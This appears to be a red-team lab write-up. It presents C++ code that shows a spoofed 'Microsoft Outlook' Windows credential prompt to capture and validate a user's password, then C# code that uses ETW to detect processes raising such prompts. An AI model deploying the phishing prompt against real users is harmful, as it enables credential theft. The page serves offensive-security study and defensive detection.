Credentials Collection via CredUIPromptForCredentials

Purpose
The purpose of this lab is to twofold:
1.
write some code that invokes Windows credential prompt, that would allow malware or an attacker to collect targeted user's credentials once they are on the compromised machine
2.
write some ETW code that detects processes invoking credential prompts
Stealing User Credentials
It is possible to collect user credentials with the below code:
credentialsprompt.cpp
1
#include <iostream>
2
#include <Windows.h>
3
#include <wincred.h>
4
​
5
#pragma comment(lib, "Credui.lib")
6
​
7
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
8
{
9
	CREDUI_INFO ci = { sizeof(ci) };
10
	std::wstring promptCaption = L"Microsoft Outlook";
11
	std::wstring promptMessage = L"Connecting to [email protected]";
12
	ci.pszCaptionText = (PCWSTR)promptCaption.c_str();
13
	ci.pszMessageText = (PCWSTR)promptMessage.c_str();
14
​
15
	WCHAR username[255] = {};
16
	WCHAR password[255] = {};
17
	DWORD result = 0;
18
​
19
	result = CredUIPromptForCredentialsW(&ci, L".", NULL, 5, username, 255, password, 255, FALSE, CREDUI_FLAGS_GENERIC_CREDENTIALS);
20
	if (result == ERROR_SUCCESS)
21
	{
22
		HANDLE newToken = NULL;
23
		BOOL credentialsValid = FALSE;
24
​
25
		credentialsValid = LogonUserW(username, NULL, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &newToken);
26
		if (credentialsValid)
27
		{
28
			// valid credentials provided
29
		}
30
		else
31
		{
32
			// invalid credentials provided
33
		}
34
	}
35
	else if (result == ERROR_CANCELLED)
36
	{
37
		// no credentials provided
38
	}
39
​
40
	return 0;
41
}
Copied!
Although in this lab I am using CredUIPromptForCredentials for invoking credentials prompt, you should be using  CredUIPromptForWindowsCredentials​
If we compile and run the above code, we get a credential prompt, that captures user's credentials in plain text, which we could then save to a file or send out over the internet:
The above credential prompt can also be invoked with  PowerShell cmdlet Get-Credential.
Detecting Credential Prompts
As a defender, one may want to know what processes are popping these credential prompts, so that malicious ones could be detected - i.e if you are notified that suddenly some unusual process showed a prompt, it may mean that the process is infected and the machine is compromised.
Detection of programs showing credential prompts is possible with Event Tracing for Windows (EWT) - Microsoft-Windows-CredUI provider to the rescue:
Looking at the provider Microsoft-Windows-CredUI in ETWExplorer, we can see that it can provide consumers with events for both CredUIPromptForCredentials and CredUIPromptForWindowsCredentials invokations:
We can create an ETW tracing session and subscribe to events from Microsoft-Windows-CredUI provider with C# like so:
credentialsprompt-detection.cs
1
# based on https://github.com/zodiacon/DotNextSP2019/blob/master/SimpleConsumer/Program.cs
2
using Microsoft.Diagnostics.Tracing.Session;
3
using System;
4
using System.Collections.Generic;
5
using System.Diagnostics;
6
using System.Linq;
7
using System.Text;
8
using System.Threading.Tasks;
9
​
10
namespace SimpleConsumer
11
{
12
    static class Programa
13
    {
14
        static void Main(string[] args)
15
        {
16
            using (var session = new TraceEventSession("spotless-credential-prompt"))
17
            {
18
                Console.CancelKeyPress += delegate {
19
                    session.Source.StopProcessing();
20
                    session.Dispose();
21
                };
22
​
23
                session.EnableProvider("Microsoft-Windows-CredUI", Microsoft.Diagnostics.Tracing.TraceEventLevel.Always);
24
                var parser = session.Source.Dynamic;
25
                parser.All += e => {
26
                    if (e.OpcodeName == "Start")
27
                    {
28
                        Console.WriteLine(quot;{e.TimeStamp} > Credential Prompt detected in {Process.GetProcessById(e.ProcessID).ProcessName}.exe (PID={e.ProcessID})");
29
                    }
30
                };
31
                session.Source.Process();
32
            }
33
        }
34
    }
35
}
Copied!
Demo
Below shows RogueCredentialsPrompt.exe and Powershell.exe invoking Windows credential prompts and our simple consumer program detecting that activity:
References
ETW: Event Tracing for Windows 101
Red Teaming Techniques & Experiments
GitHub - zodiacon/DotNextSP2019: DotNext 2019 St. Petersburg Talk Demos
GitHub
CredUIPromptForCredentialsA function (wincred.h) - Win32 apps
docsmsft

Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials

Next - offensive security

Lateral Movement

Last modified 1yr ago

Copy link

Contents

Purpose

Stealing User Credentials

Detecting Credential Prompts

Demo

References